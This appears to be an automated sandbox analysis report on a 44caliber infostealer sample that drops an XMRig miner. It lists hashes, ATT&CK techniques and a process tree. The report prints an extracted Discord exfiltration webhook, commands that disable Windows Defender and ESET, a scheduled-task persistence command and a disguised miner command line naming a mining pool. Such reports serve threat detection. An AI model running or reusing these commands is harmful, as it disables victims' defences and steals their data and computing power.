44caliber | e0166af88734a1ad71aa1dc6e18fbd4db40d5ab2177547d0091aa6202efc3c4a

Analysis

max time kernel
2s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
27/01/2024, 12:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
7a4520a5b7cb55ca8a4137be525703ca.exe
Size 9.5MB
Sample240127-pshfyacca7
SHA256 e0166af88734a1ad71aa1dc6e18fbd4db40d5ab2177547d0091aa6202efc3c4a
MD5 7a4520a5b7cb55ca8a4137be525703ca
SHA1 307f0281d899630f6d2e7988a6570192a24b092e
SHA512 e98d2a34f046f8eb4898cc6bb0820ab6655e862a31a9b4696e712994dc39d84a01af879ecedd640c0c333557b2f6639fc9dfc1930fab4f7a6a23c11641249813
SSDEEP 196608:WFSJAB+ZcpS+S6SrGTsD2dmmhGlkrwPgZS7rjsn6P44Nm0:WFS+Bkc0+Fe6dmracMR70
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

44caliber xmrig discovery evasion miner stealer

Malware Config

Extracted

Family

44caliber

https://discord.com/api/webhooks/868513655556292688/7ViWQKXofSCTi8VWoHEcGeQK61RUEBYfnsE72cu6TJnpHYwlgzbrVI5gQn_jpfUMFoS5

Signatures

44Caliber
An open source infostealer written in C#.
stealer 44caliber
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 10 IoCs

miner

resource	yara_rule
behavioral2/memory/856-1939-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral2/memory/856-1941-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral2/memory/856-1938-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral2/memory/856-2057-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral2/memory/856-2058-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral2/memory/856-2059-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral2/memory/856-2062-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral2/memory/856-2063-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral2/memory/856-2065-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral2/memory/856-2064-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\International\Geo\Nation	7a4520a5b7cb55ca8a4137be525703ca.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3608	icacls.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
51	pastebin.com
54	raw.githubusercontent.com
55	raw.githubusercontent.com
50	pastebin.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	freegeoip.app
9	freegeoip.app

Launches sc.exe 6 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4212	sc.exe
2012	sc.exe
4012	sc.exe
3824	sc.exe
4812	sc.exe
2288	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1392	schtasks.exe
1556	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\7a4520a5b7cb55ca8a4137be525703ca.exe
"C:\Users\Admin\AppData\Local\Temp\7a4520a5b7cb55ca8a4137be525703ca.exe"
1⤵
- Checks computer location settings
PID:1560
- C:\Users\Admin\AppData\Local\Temp\InterialoaderNOP.exe
  "C:\Users\Admin\AppData\Local\Temp\InterialoaderNOP.exe"
  2⤵
  PID:2360
- - C:\Users\Admin\AppData\Local\Temp\Interialoader.exe
    "C:\Users\Admin\AppData\Local\Temp\Interialoader.exe"
    3⤵
    PID:1112
  - - C:\Users\Admin\AppData\Local\Temp\Interia loader.exe
      "C:\Users\Admin\AppData\Local\Temp\Interia loader.exe"
      4⤵
      PID:4008
    - - C:\Windows\SYSTEM32\cmd.exe
        
        "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Set-MpPreference -DisableArchiveScanning $true & powershell -Command Set-MpPreference -DisableBehaviorMonitoring $true & powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true & powershell -Command Set-MpPreference -DisableScriptScanning $true & powershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $true & powershell -Command Set-MpPreference -DisableIOAVProtection $true & powershell -Command Set-MpPreference -EnableControlledFolderAccess Disabled & powershell -Command Set-MpPreference -EnableNetworkProtection AuditMode -Force & powershell -Command Set-MpPreference -MAPSReporting Disabled & powershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend & sc config WinDefend start=disabled & sc stop WinDefend & powershell -Command Stop-Service WinDefend & powershell -Command Set-Service WinDefend -StartupType Disabled & powershell -Command Uninstall-WindowsFeature -Name Windows-Defender & powershell -Command Remove-WindowsFeature Windows-Defender, Windows-Defender-GUI & Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet & Wmic Product where name="Eset Security" call uninstall & exit
        5⤵
        
        PID:1856
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        6⤵
        
        PID:2376
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
        6⤵
        
        PID:4572
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
        6⤵
        
        PID:1608
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        6⤵
        
        PID:1316
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableArchiveScanning $true
        6⤵
        
        PID:4904
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableBehaviorMonitoring $true
        6⤵
        
        PID:2992
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true
        6⤵
        
        PID:1628
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableScriptScanning $true
        6⤵
        
        PID:4540
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $true
        6⤵
        
        PID:336
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableIOAVProtection $true
        6⤵
        
        PID:1984
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -EnableControlledFolderAccess Disabled
        6⤵
        
        PID:3408
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -EnableNetworkProtection AuditMode -Force
        6⤵
        
        PID:2784
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -MAPSReporting Disabled
        6⤵
        
        PID:3868
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend
        6⤵
        
        PID:4852
      - C:\Windows\system32\sc.exe
        
        sc stop WinDefend
        6⤵
        Launches sc.exe
        
        PID:4212
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Stop-Service WinDefend
        6⤵
        
        PID:4284
      - C:\Windows\system32\sc.exe
        
        sc config WinDefend start=disabled
        6⤵
        Launches sc.exe
        
        PID:2012
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-Service WinDefend -StartupType Disabled
        6⤵
        
        PID:3876
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Uninstall-WindowsFeature -Name Windows-Defender
        6⤵
        
        PID:1896
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Remove-WindowsFeature Windows-Defender, Windows-Defender-GUI
        6⤵
        
        PID:3028
      - C:\Windows\system32\Dism.exe
        
        Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet
        6⤵
        
        PID:3508
        
        C:\Users\Admin\AppData\Local\Temp\32EE1767-D786-44B3-9B82-240DE2B33F77\dismhost.exe
        
        C:\Users\Admin\AppData\Local\Temp\32EE1767-D786-44B3-9B82-240DE2B33F77\dismhost.exe {198A4197-03A9-40BA-BBFA-A5BF806A2193}
        7⤵
        
        PID:3504
      - C:\Windows\System32\Wbem\WMIC.exe
        
        Wmic Product where name="Eset Security" call uninstall
        6⤵
        
        PID:2820
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"' & exit
        5⤵
        
        PID:3888
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"'
        6⤵
        Creates scheduled task(s)
        
        PID:1392
    - - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        5⤵
        
        PID:4212
      - C:\Windows\SYSTEM32\cmd.exe
        
        "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Set-MpPreference -DisableArchiveScanning $true & powershell -Command Set-MpPreference -DisableBehaviorMonitoring $true & powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true & powershell -Command Set-MpPreference -DisableScriptScanning $true & powershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $true & powershell -Command Set-MpPreference -DisableIOAVProtection $true & powershell -Command Set-MpPreference -EnableControlledFolderAccess Disabled & powershell -Command Set-MpPreference -EnableNetworkProtection AuditMode -Force & powershell -Command Set-MpPreference -MAPSReporting Disabled & powershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend & sc config WinDefend start=disabled & sc stop WinDefend & powershell -Command Stop-Service WinDefend & powershell -Command Set-Service WinDefend -StartupType Disabled & powershell -Command Uninstall-WindowsFeature -Name Windows-Defender & powershell -Command Remove-WindowsFeature Windows-Defender, Windows-Defender-GUI & Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet & Wmic Product where name="Eset Security" call uninstall & exit
        6⤵
        
        PID:4992
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        7⤵
        
        PID:3192
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
        7⤵
        
        PID:3812
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
        7⤵
        
        PID:2360
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        7⤵
        
        PID:4804
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableArchiveScanning $true
        7⤵
        
        PID:4828
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableBehaviorMonitoring $true
        7⤵
        
        PID:1768
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true
        7⤵
        
        PID:3628
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableScriptScanning $true
        7⤵
        
        PID:1748
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $true
        7⤵
        
        PID:1848
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableIOAVProtection $true
        7⤵
        
        PID:1420
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"'
        8⤵
        Creates scheduled task(s)
        
        PID:1556
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -EnableControlledFolderAccess Disabled
        7⤵
        
        PID:3872
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -EnableNetworkProtection AuditMode -Force
        7⤵
        
        PID:4780
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -MAPSReporting Disabled
        7⤵
        
        PID:4796
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend
        7⤵
        
        PID:784
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Stop-Service WinDefend
        7⤵
        
        PID:2196
        
        C:\Windows\system32\sc.exe
        
        sc stop WinDefend
        7⤵
        Launches sc.exe
        
        PID:4012
        
        C:\Windows\system32\sc.exe
        
        sc config WinDefend start=disabled
        7⤵
        Launches sc.exe
        
        PID:3824
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-Service WinDefend -StartupType Disabled
        7⤵
        
        PID:1428
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Uninstall-WindowsFeature -Name Windows-Defender
        7⤵
        
        PID:4428
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Remove-WindowsFeature Windows-Defender, Windows-Defender-GUI
        7⤵
        
        PID:4432
        
        C:\Windows\system32\Dism.exe
        
        Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet
        7⤵
        
        PID:4976
        
        C:\Users\Admin\AppData\Local\Temp\CAA8A113-17BD-4FFD-8EBC-62142DF38910\dismhost.exe
        
        C:\Users\Admin\AppData\Local\Temp\CAA8A113-17BD-4FFD-8EBC-62142DF38910\dismhost.exe {B3A100A1-AFBF-401D-B3CA-61089B23B3B9}
        8⤵
        
        PID:684
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        Wmic Product where name="Eset Security" call uninstall
        7⤵
        
        PID:4408
    - - C:\Users\Admin\AppData\Roaming\Services.exe
        
        "C:\Users\Admin\AppData\Roaming\Services.exe"
        5⤵
        
        PID:4392
      - C:\Windows\SYSTEM32\cmd.exe
        
        "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Set-MpPreference -DisableArchiveScanning $true & powershell -Command Set-MpPreference -DisableBehaviorMonitoring $true & powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true & powershell -Command Set-MpPreference -DisableScriptScanning $true & powershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $true & powershell -Command Set-MpPreference -DisableIOAVProtection $true & powershell -Command Set-MpPreference -EnableControlledFolderAccess Disabled & powershell -Command Set-MpPreference -EnableNetworkProtection AuditMode -Force & powershell -Command Set-MpPreference -MAPSReporting Disabled & powershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend & sc config WinDefend start=disabled & sc stop WinDefend & powershell -Command Stop-Service WinDefend & powershell -Command Set-Service WinDefend -StartupType Disabled & powershell -Command Uninstall-WindowsFeature -Name Windows-Defender & powershell -Command Remove-WindowsFeature Windows-Defender, Windows-Defender-GUI & Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet & Wmic Product where name="Eset Security" call uninstall & exit
        6⤵
        
        PID:1568
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        7⤵
        
        PID:456
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
        7⤵
        
        PID:3248
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
        7⤵
        
        PID:2656
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        7⤵
        
        PID:228
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableArchiveScanning $true
        7⤵
        
        PID:1392
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableBehaviorMonitoring $true
        7⤵
        
        PID:1772
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true
        7⤵
        
        PID:3348
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableScriptScanning $true
        7⤵
        
        PID:4636
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $true
        7⤵
        
        PID:4416
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableIOAVProtection $true
        7⤵
        
        PID:4200
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -EnableControlledFolderAccess Disabled
        7⤵
        
        PID:4676
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -EnableNetworkProtection AuditMode -Force
        7⤵
        
        PID:4552
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -MAPSReporting Disabled
        7⤵
        
        PID:2128
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend
        7⤵
        
        PID:2320
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Stop-Service WinDefend
        7⤵
        
        PID:2580
        
        C:\Windows\system32\sc.exe
        
        sc stop WinDefend
        7⤵
        Launches sc.exe
        
        PID:4812
        
        C:\Windows\system32\sc.exe
        
        sc config WinDefend start=disabled
        7⤵
        Launches sc.exe
        
        PID:2288
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-Service WinDefend -StartupType Disabled
        7⤵
        
        PID:2940
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Uninstall-WindowsFeature -Name Windows-Defender
        7⤵
        
        PID:456
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Remove-WindowsFeature Windows-Defender, Windows-Defender-GUI
        7⤵
        
        PID:5108
        
        C:\Windows\system32\Dism.exe
        
        Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet
        7⤵
        
        PID:220
        
        C:\Users\Admin\AppData\Local\Temp\E613A283-B5DE-4ED9-95E6-B611EB20E4AA\dismhost.exe
        
        C:\Users\Admin\AppData\Local\Temp\E613A283-B5DE-4ED9-95E6-B611EB20E4AA\dismhost.exe {DC6562B9-7152-409B-927D-07F95B13672A}
        8⤵
        
        PID:5008
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        Wmic Product where name="Eset Security" call uninstall
        7⤵
        
        PID:3680
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"' & exit
        6⤵
        
        PID:1420
      - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        6⤵
        
        PID:4012
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Set-MpPreference -DisableArchiveScanning $true & powershell -Command Set-MpPreference -DisableBehaviorMonitoring $true & powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true & powershell -Command Set-MpPreference -DisableScriptScanning $true & powershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $true & powershell -Command Set-MpPreference -DisableIOAVProtection $true & powershell -Command Set-MpPreference -EnableControlledFolderAccess Disabled & powershell -Command Set-MpPreference -EnableNetworkProtection AuditMode -Force & powershell -Command Set-MpPreference -MAPSReporting Disabled & powershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend & sc config WinDefend start=disabled & sc stop WinDefend & powershell -Command Stop-Service WinDefend & powershell -Command Set-Service WinDefend -StartupType Disabled & powershell -Command Uninstall-WindowsFeature -Name Windows-Defender & powershell -Command Remove-WindowsFeature Windows-Defender, Windows-Defender-GUI & Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet & Wmic Product where name="Eset Security" call uninstall & exit
        7⤵
        
        PID:3396
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        8⤵
        
        PID:4548
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
        8⤵
        
        PID:3468
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
        8⤵
        
        PID:4524
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        8⤵
        
        PID:4800
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableArchiveScanning $true
        8⤵
        
        PID:4564
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableBehaviorMonitoring $true
        8⤵
        
        PID:5108
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true
        8⤵
        
        PID:3652
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableScriptScanning $true
        8⤵
        
        PID:4672
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $true
        8⤵
        
        PID:3552
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableIOAVProtection $true
        8⤵
        
        PID:4492
      - C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=mine.bmpool.org:6004 --user=6056254 --pass=in --cpu-max-threads-hint=40 --donate-level=5 --cinit-idle-wait=1 --cinit-idle-cpu=80 --cinit-stealth
        6⤵
        
        PID:856
  - - C:\Users\Admin\AppData\Local\Temp\Insidious.exe
      "C:\Users\Admin\AppData\Local\Temp\Insidious.exe"
      4⤵
      PID:4656
- - C:\Users\Admin\AppData\Local\Temp\InteriaVis.exe
    "C:\Users\Admin\AppData\Local\Temp\InteriaVis.exe"
    3⤵
    PID:4212
- C:\Users\Admin\AppData\Local\Temp\Config.exe
  "C:\Users\Admin\AppData\Local\Temp\Config.exe"
  2⤵
  PID:2308

C:\Program Files\Java\jre-1.8\bin\javaw.exe
"C:\Program Files\Java\jre-1.8\bin\javaw.exe" -Dfile.encoding=UTF-8 -classpath "C:\Users\Admin\AppData\Local\Temp\InteriaVis.exe" org.develnext.jphp.ext.javafx.FXLauncher
1⤵
PID:800
- C:\Windows\system32\icacls.exe
  C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M
  2⤵
  - Modifies file permissions
  PID:3608

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:2932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

Process.txt

Path C:\ProgramData\44\Process.txt
Size 1KB
SHA256 fa3263b205e94fa4e22a4a39ed8f78aee08e7b982f97622b6dee0cb91655bb0f
MD5 c0728ca9667ddfd4f5cb07c73ffc39e2
SHA1 8270b21d9ff7365adc5c3e8631c6036c895b9a15
SHA512 ff61d80dc809520c752fb876533b12999fb5d462bb14d24949bd47c0fd78873204fa58081782428fe841b45956ea5b92ce4e0ba2bc44133b6f62d1552176e20a
MD5 SHA1 SHA512

Submit Download

3903daac9bc4a3b7.timestamp

Path C:\ProgramData\Oracle\Java\.oracle_jre_usage\3903daac9bc4a3b7.timestamp
Size 46B
SHA256 a948e4af5c62a1d7be6f07e2e537470154f0a70d2d4a85515cba5e0189851375
MD5 4be0fc81272cbe1570a3846e60910fc2
SHA1 31b87f768f84dc2ae10fce04d026a282cf0a9b03
SHA512 6db49ef99cd2ef8009d4eb5e1836df35cc3cd187f3abb4f2b0cc03c84d088fc83daf02b14d5fecb3d889797869bdccf1d4d8371c3685b8ad4decb1b9acd0d40f
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download